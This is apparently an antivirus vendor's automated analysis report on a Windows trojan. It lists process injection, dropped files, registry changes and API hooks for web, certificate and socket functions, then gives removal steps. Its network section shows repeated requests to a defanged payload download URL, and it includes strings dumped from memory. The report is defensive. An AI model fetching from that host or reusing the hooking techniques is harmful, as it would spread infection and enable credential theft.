Gen.Variant.Barys.748_dc8d3a4717 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:928
igkyy.exe:1416

The Trojan injects its code into the following process(es):

Explorer.EXE:1140

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:928 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Numi\igkyy.exe (178 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmpda114793.bat (177 bytes)

Registry activity

The process %original file name%.exe:928 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EA 89 12 69 34 4B F2 77 EB B0 BC 6A 4B A7 E5 79"

[HKCU\Software\Microsoft\Roypx]
"Tuafv" = "C1 CF E7 74 CB 0B E7 B2 6A 71 A1 E1 7E F5 7F 67"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process igkyy.exe:1416 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "56 C6 35 5C 93 A3 16 7C EE EC 63 4F BE 56 31 3A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5	File path
800a6e38496ed8ef0a0ec7cc62d1acb7	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Numi\igkyy.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:928
igkyy.exe:1416
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Application Data\Numi\igkyy.exe (178 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmpda114793.bat (177 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Worst
Product Name: Gnash Bert
Product Version: 7.4
Legal Copyright: Copyright (c) Ogles Ethos 2002-2009
Legal Trademarks:
Original Filename: Lice.exe
Internal Name: Raced Pies Cinch Pore
File Version: 7.4
File Description: Flaw Lawns
Comments:
Language: English (United States)

Company Name: WorstProduct Name: Gnash BertProduct Version: 7.4Legal Copyright: Copyright (c) Ogles Ethos 2002-2009Legal Trademarks: Original Filename: Lice.exeInternal Name: Raced Pies Cinch PoreFile Version: 7.4File Description: Flaw LawnsComments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	32768	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	36864	176128	176128	5.4315	541df89d7879922750b596f07c630e04
.rsrc	212992	4096	1024	2.47399	3b5e80d5ebc970fad52d1802fdfa25ce

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://ultimatelives.com/images/unpacked/direct/X.bin	216.38.198.78

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /images/unpacked/direct/X.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ultimatelives.com

Cache-Control: no-cache

HTTP/1.1 400 Bad Request

Content-Type: text/html

Date: Thu, 02 Jul 2015 22:28:33 GMT

Connection: close

Content-Length: 39

<h1>Bad Request (Invalid Hostname)</h1>..

GET /images/unpacked/direct/X.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ultimatelives.com

Cache-Control: no-cache

HTTP/1.1 400 Bad Request

Content-Type: text/html

Date: Thu, 02 Jul 2015 22:28:23 GMT

Connection: close

Content-Length: 39

<h1>Bad Request (Invalid Hostname)</h1>..

GET /images/unpacked/direct/X.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ultimatelives.com

Cache-Control: no-cache

HTTP/1.1 400 Bad Request

Content-Type: text/html

Date: Thu, 02 Jul 2015 22:28:32 GMT

Connection: close

Content-Length: 39

<h1>Bad Request (Invalid Hostname)</h1>..

GET /images/unpacked/direct/X.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ultimatelives.com

Cache-Control: no-cache

HTTP/1.1 400 Bad Request

Content-Type: text/html

Date: Thu, 02 Jul 2015 22:28:23 GMT

Connection: close

Content-Length: 39

<h1>Bad Request (Invalid Hostname)</h1>..

GET /images/unpacked/direct/X.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ultimatelives.com

Cache-Control: no-cache

HTTP/1.1 400 Bad Request

Content-Type: text/html

Date: Thu, 02 Jul 2015 22:28:44 GMT

Connection: close

Content-Length: 39

<h1>Bad Request (Invalid Hostname)</h1>..

GET /images/unpacked/direct/X.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ultimatelives.com

Cache-Control: no-cache

HTTP/1.1 400 Bad Request

Content-Type: text/html

Date: Thu, 02 Jul 2015 22:28:5

GET /images/unpacked/direct/X.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ultimatelives.com

Cache-Control: no-cache

HTTP/1.1 400 Bad Request

Content-Type: text/html

Date: Thu, 02 Jul 2015 22:28:39 GMT

Connection: close

Content-Length: 39

<h1>Bad Request (Invalid Hostname)</h1>..

GET /images/unpacked/direct/X.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ultimatelives.com

Cache-Control: no-cache

HTTP/1.1 400 Bad Request

Content-Type: text/html

Date: Thu, 02 Jul 2015 22:28:38 GMT

Connection: close

Content-Length: 39

<h1>Bad Request (Invalid Hostname)</h1>..

GET /images/unpacked/direct/X.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ultimatelives.com

Cache-Control: no-cache

HTTP/1.1 400 Bad Request

Content-Type: text/html

Date: Thu, 02 Jul 2015 22:28:53 GMT

Connection: close

Content-Length: 39

<h1>Bad Request (Invalid Hostname)</h1>..

GET /images/unpacked/direct/X.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ultimatelives.com

Cache-Control: no-cache

HTTP/1.1 400 Bad Request

Content-Type: text/html

Date: Thu, 02 Jul 2015 22:28:44 GMT

Connection: close

Content-Length: 39

<h1>Bad Request (Invalid Hostname)</h1>..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

Explorer.EXE_1140_rwx_01E00000_00025000:

.text

`.data

.reloc

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

g.bi>

PR_OpenTCPSocket

HTTP/1.1

userenv.dll

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

del "%s"

if exist "%s" goto d

del /F "%s"

hXXp://VVV.google.com/webhp

hXXp://

hXXps://

HTTP/1.

'=%"6,6

6-,>..70>

Wmkoipj%idedoah-sg0}

: $"06 ,

}zoyecg{.dzf

$93 $3#5#

%0' ;>>,

KM].diekbau

, >(3=2;

)4>-)>.8.

121

1;5;;64|

3=??/:; )

PSSj%S

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

GetKeyboardState

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

MsgWaitForMultipleObjects

SetKeyboardState

MapVirtualKeyW

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

UrlUnescapeA

SHDeleteKeyW

PathIsURLW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

InternetCrackUrlA

HttpOpenRequestA

HttpAddRequestHeadersA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

WININET.dll

OLEAUT32.dll

NETAPI32.dll

explorer.exe

rdpclip.exe

ctfmon.exe

wscntfy.exe

taskeng.exe

taskhost.exe

dwm.exe

ntdll.dll

nspr4.dll

*kernel32.dll

"%s" %s

SOFTWARE\Microsoft\Windows NT\CurrentVersion

%s_XX

/c "%s"

%sx.%s

%sx

SysShadow

cGlobal\XXX

%Documents and Settings%\%current user%\Application Data

{02E68633-E15C-97B5-6282-9039C9037CB6}

Global\{949D3418-5377-01CE-6282-9039C9037CB6}

%Documents and Settings%\%current user%\Application Data\Taenel\gyomp.fim

%Documents and Settings%\%current user%\Application Data\Taenel

gyomp.fim

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps